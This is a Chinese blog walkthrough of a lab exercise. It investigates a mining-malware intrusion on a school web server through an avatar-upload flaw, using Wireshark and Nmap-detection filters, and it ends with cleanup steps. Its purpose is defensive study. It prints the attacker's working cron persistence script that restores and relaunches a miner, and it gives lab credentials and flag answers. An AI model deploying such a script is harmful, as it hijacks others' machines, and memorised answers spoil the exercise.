玄机——某学校系统中挖矿病毒应急排查

本篇文章主要记录某学校长期未运营维护的程序,被黑客发现了漏洞,但好在学校有全流量设备,抓取到了过程中的流量包

需要你进行上机以及结合流量分析,排查攻击者利用的漏洞以及上传利用成功的木马

文章目录


靶机介绍

背景:完全仿真了某学校长期未运营维护的程序,被黑客发现了漏洞,但好在学校有全流量设备,抓取到了过程中的流量包

需要你进行上机以及结合流量分析,排查攻击者利用的漏洞以及上传利用成功的木马

以及清除掉攻击者上传的挖矿程序以及后门程序,挖矿环境完全还原了真实环境,但不会出网,比较有意义,清除做了check操作,你只需要按照相关题目引导进行清除

在指定目录下查看flag提交即可,流量包在远程登录成功后/hacker2025.pcap(玄机直接以附件形式下载)

流量中被攻击机IP:192.168.37.11

SSH远程端口:2222 账号密码:root/edusec123

下载地址:点击此处

参考文章:州弟学安全

要求:

  1. 使用工具分析共有多少IP存在扫描web特征,提交其数量
  2. 在2025.6.22日17点03分27秒,192.168.37.10,55689端口进行访问的url路径以flag方式进行提交(应急三要素缩小范围)
  3. 提交存在使用NMAP扫描特征的IP
  4. 审计流量并结合web站点,攻击者通过什么漏洞进行控制主机,提交漏洞文件名接口
  5. 审计流量并结合web站点,攻击者通过哪个用户名利用的漏洞,提交其注册用户名
  6. 审计流量并结合漏洞,提交攻击者控制成功木马文件名
  7. 审计流量并清除掉攻击者上传的木马,清除成功后在/var/flag/1/flag中查看flag并提交
  8. 黑客拿到主机权限后,上传了挖矿木马,需要你提交矿池地址
  9. 清除掉主机上的挖矿木马,完成后在/var/flag/2/flag文件中查看flag并提交
  10. 黑客做了后门,即使你清除以后,仍然会定时更新挖矿程序并运行,你找到这个程序,提交其路径
  11. 清除掉后门挖矿程序,在/var/flag/3/flag下查看提交flag

--

1.使用工具分析共有多少IP存在扫描web特征,提交其数量

这里我们打开靶机的同时,也打开一台kali,用于端口以及服务的扫描:

这里由于两台机器属于同一网段,所以直接使用nmap进行扫描:

bash 复制代码
nmap 192.168.44.0/24

显示结果如下:

这时候我们得到目标机器的ip地址,而题目中的"使用工具分析共有多少IP存在扫描web特征",需要我们进行流量分析;

所以登录2222端口的服务,输入账号密码:

SSH远程端口:2222

账号密码:root / edusec123


随后即可链接成功;

查看根目录,发现hacker流量包,把他下载到本地用工具进行分析:

这里我是用xshell的xftp功能 进行传输到本地:

然后进行分析------查看有多少IP访问了192.168.37.11这个靶机,可以使用命令:
缺点:需要一个个数,比较耗时;

bash 复制代码
http and ip.dst == 192.168.37.11  # 筛选http协议且目的地址为靶机的IP地址

也可以使用别的方法:

然后进行过滤器条件如下,进行筛选带有扫描特征的条件,那么之前讲过,怎么判断扫描特征?

答:短时间内大量访问不存在的文件属于扫描特征,但是由于实战中每个站点"文件不存在"返回状态码不一致,可能是404、403、500、502、405等情况,那么我们可以自行测试

所以访问网站,输入一个不存在的文件,看看文件不存在的状态码 是什么?

可以看到是404 ,所以我们就可以根据状态码进行筛选:

bash 复制代码
http.response.code==404

也可以放进本地工具里进行分析:

count() by 表示计数,id.orig_h表示源地址,status_code表示状态码,|表示条件分隔

发现还剩IP地址为29个,所以flag:

flag{29}

--

2.在2025.6.22日17点03分27秒,192.168.37.10,55689端口进行访问的url路径以flag方式进行提交(应急三要素缩小范围)

这里题目给出的具体的时间范围,结合实际情况的话:

(1) 在企业中,每天可以产生几十TB的数据,要是遇到webshell入侵的话,不可能一条一条去查找;

(2)所以在确定时间范围的情况下,去筛选排除就很有必要;这就是此题的目的

根据题目,输入命令:

bash 复制代码
ip.addr == 192.168.37.10 and ip.dst == 192.168.37.11 and tcp.port == 55689

可以得到3条请求记录,追踪http流进行查看:

将他们的url分别尝试一次:

bash 复制代码
/servlet/user/uploadAvatar
/servlet/user/profile?uploadSuccess=true
/uploads/06853c4f-8b05-4949-90ae-9adc49f27a94.jsp

分析:

  1. 第一个请求看特征就知道是上传文件
  2. 第二个看关键词就知道上传成功
  3. 第三个应该是GET访问了上传的文件

(所以这是一次任意文件上传攻击

这里根据题目,应该是url路径,但是最终结果却是一个文件名,不懂:

最终的flag为:

flag{06853c4f-8b05-4949-90ae-9adc49f27a94.jsp}

--

3.提交存在使用NMAP扫描特征的IP

通常情况下,nmap扫描到web服务(80或者8080端口),就会在URL或者User-Agent里添加nmap 字样,很容易辨识。

除此之外,nmap则会进行SYN扫描,FIN扫描等。

NMAP最大特征: 扫描 HTTP 时,会在 URL 及 UA 里包含 nmap 关键字特征

bash 复制代码
http.request.headers contains "Nmap"  
http.user_agent contains "Nmap"

可以发现记录,很容易得到攻击IP为192.168.37.4

假如对方没有扫描HTTP协议,只进行了端口扫描?

那么在nmap中使用TCP SYN扫描的情况下,可以进行筛选。

  • 基于 TCP 标志位(SYN 扫描特征)筛选
    • tcp.flags.syn == 1 && tcp.flags.ack == 0
  • 默认情况下大部分版本的nmap窗口大小为1024,当然也有其它版本的扫描可能为:2048,3072,4096
    • tcp.flags.syn == 1 and tcp.window_size == 1024 and tcp.len == 0 and ip.frag_offset == 0

(如果不用tcp协议,而用udp呢?当然是问AI啊。)

flag{192.168.37.4}

--

4.审计流量并结合web站点,攻击者通过什么漏洞进行控制主机,提交漏洞文件名接口

根据之前的结果,我们发现了任意文件上传的漏洞:

第二个题目的时候,看到了文件上传的操作

  • 思路:WEB 系统起码有文件上传功能
  • 如何确定可疑访问?
  • 只查看正常状态码或排除非正常状态码后进行排序

这里还是使用工具,进行筛选:

bash 复制代码
count () by id.orig_h,status_code,uri|status_code==200 | sort -r count

然后去wireshark筛选一下:

可以看到有三条访问记录,进入查看内容:(冰蝎流量)

这里很容易可以看出是冰蝎的流量,而题目要求的是攻击者利用的漏洞接口,所以查看上述流量包即可得到

flag{uploadAvatar}

--

5.审计流量并结合web站点,攻击者通过哪个用户名利用的漏洞,提交其注册用户名

回到登录页面,其实我们访问WEB端口看到是有鉴权的,那么攻击者肯定是通过注册账号进去的,有时候溯源,账号可能会有很大的用处;

以及账号密码的参数payload:

所以可以根据上述进行筛选:

bash 复制代码
ip.addr==192.168.37.10&&http.request.uri=="/servlet/user/login" 

得到结果:

可以发现,输入账号密码后,跳转到了index.jsp页面;

flag{wangyunqing}

--

6. 审计流量并结合漏洞,提交攻击者控制成功木马文件名

根据之前的分析,可以知道这个jsp文件,访问的次数最多:

bash 复制代码
ip.addr==192.168.37.10&&http.request.uri=="/uploads/70b86b64-ce15-46bf-8095-4764809e2ee5.jsp" 

随便点击进去查看,可以发现有着加密的异常流量:

这里使用蓝队解密工具进行分析,由于是冰蝎的默认密钥加密,所以点击"解密"即可:


多看几个,发现了木马的文件名:

flag{70b86b64-ce15-46bf-8095-4764809e2ee5.jsp}

--

7.审计流量并清除掉攻击者上传的木马,清除成功后在/var/flag/1/flag中查看flag并提交

check操作:就是检测我们是否清除了木马,因为以往我们只能被动去做题,没有check有很大局限性,比如增删改操作,所以当我们做了清除操作后,flag会在主机指定文件生成

登录靶机,匹配木马的文件位置,然后进行删除:

bash 复制代码
find / -name *809e2ee5.jsp 
# 这里匹配全部名字反而找不到;

也是找到了文件路径:

直接删除即可:

bash 复制代码
rm -rf /var/lib/tomcat9/webapps/ROOT/uploads/70b86b64-002dce15-002d46bf-002d8095-002d4764809e2ee5.jsp

随后即可得到flag:

flag{1979c46c2af37dc62a4b05881e816995}

--

8. 黑客拿到主机权限后,上传了挖矿木马,需要你提交矿池地址

使用top命令进行查看cpu使用情况,发现了异常:

名为java 的程序使用资源异常,且PID为913;

随后ps -ef 913 查看具体情况,发现矿马

位于/tmp目录下,将其下载下来进行反编译:

可以找到矿池IP:

放进微步在线分析一下:

flag{pool.minexmr.com:4444}

--

9.清除掉主机上的挖矿木马,完成后在/var/flag/2/flag文件中查看flag并提交

这里删除一下miner.jar文件,查看flag即可:

bash 复制代码
rm -rf miner.jar

flag{da236fe0cda81bfc03d022799589110e}

--

10. 黑客做了后门,即使你清除以后,仍然会定时更新挖矿程序并运行,你找到这个程序,提交其路径

我们删除后,发现过了不久,恶意进程又重新启动,所以推测存在cron定时任务:

新的PID

首先排查计划任务:

bash 复制代码
crontab -l  
ls -la /etc/cron*

可以发现一个定时任务,每分钟运行:

随后检查/etc/cron 目录下,没有发现异常:

查看这个sh文件的具体内容:

bash 复制代码
#!/bin/bash

SOURCE_FILE="/usr/share/.miner/miner.jar"
DEST_FILE="/tmp/miner.jar"
PROCESS_NAME="java -jar $DEST_FILE"
LOG_FILE="/var/log/.malware_events.log"


if pgrep -f "$PROCESS_NAME" > /dev/null; then
    
    exit 0
else
    
    echo "[$(date)] Miner process not found. Taking action..." >> "$LOG_FILE"

   
    if [ ! -f "$DEST_FILE" ]; then
        echo "[$(date)] Miner file ($DEST_FILE) is missing. Restoring from backup..." >> "$LOG_FILE"
        
        cp "$SOURCE_FILE" "$DEST_FILE"
        chmod +x "$DEST_FILE"
    fi


    if [ -f "$DEST_FILE" ]; then
        nohup java -jar "$DEST_FILE" > /dev/null 2>&1 &
        echo "[$(date)] Miner process restarted with PID $!." >> "$LOG_FILE"
    else

        echo "[$(date)] CRITICAL: Could not restore miner file from backup. Cannot start." >> "$LOG_FILE"
    fi
fi 

这段 Bash 脚本是 恶意挖矿程序的守护脚本,作用是:

  1. 监控 :检查 java -jar /tmp/miner.jar 挖矿进程是否运行
  2. 自恢复 :若进程/程序文件丢失,从隐藏备份(/usr/share/.miner/miner.jar)恢复并重启
  3. 隐蔽性:日志藏系统目录,进程后台静默运行,持续偷算力挖矿

危害:占满服务器资源,拖垮业务、增加成本,需立即清理文件、进程并溯源 。

flag{/usr/share/.per/persistence.sh}

--

11.清除掉后门挖矿程序,在/var/flag/3/flag下查看提交flag

首先就是先清除定时任务,然后再去删除脚本文件,jar包;

bash 复制代码
crontab -e //编辑计划任务清除掉计划任务  
rm /usr/share/.per/persistence.sh //删除掉后门脚本程序  
rm /usr/share/.miner/miner.jarh //删除备份挖矿程序  
rm /tmp/miner.jar //删除已恢复的挖矿脚本  
kill -9 (PID) //杀掉挖矿进程

等待一分钟过后,CPU和进程都恢复正常,查看/var/flag/3/flag文件获取到flag:

flag{27bd067769b51ed71f899c7a6f08af2c}

--

相关推荐
妮妮喔妮1 分钟前
HTTP中常见的Content-Type
网络·网络协议·http
木鱼时刻1 分钟前
网络基础知识与代理配置
网络
入眼皆含月28 分钟前
Openssl升级
网络
数通Dinner1 小时前
异步Websocket构建聊天室
运维·网络·websocket·网络协议·信息与通信
有趣的我1 小时前
wireshark介绍和使用
网络·测试工具·wireshark
Fanmeang1 小时前
OSPF高级特性之FRR
运维·网络·华为·ip·ospf·spf·frr
hashiqimiya2 小时前
配置tcp的https协议证书
网络·tcp/ip·https
BenSmith2 小时前
CVE-2025-6554漏洞复现
安全
向宇it2 小时前
【unity游戏开发——网络】网络游戏通信方案——强联网游戏(Socket长连接)、 弱联网游戏(HTTP短连接)
网络·http·游戏·unity·c#·编辑器·游戏引擎
BenSmith2 小时前
CVE-2018-17463复现
安全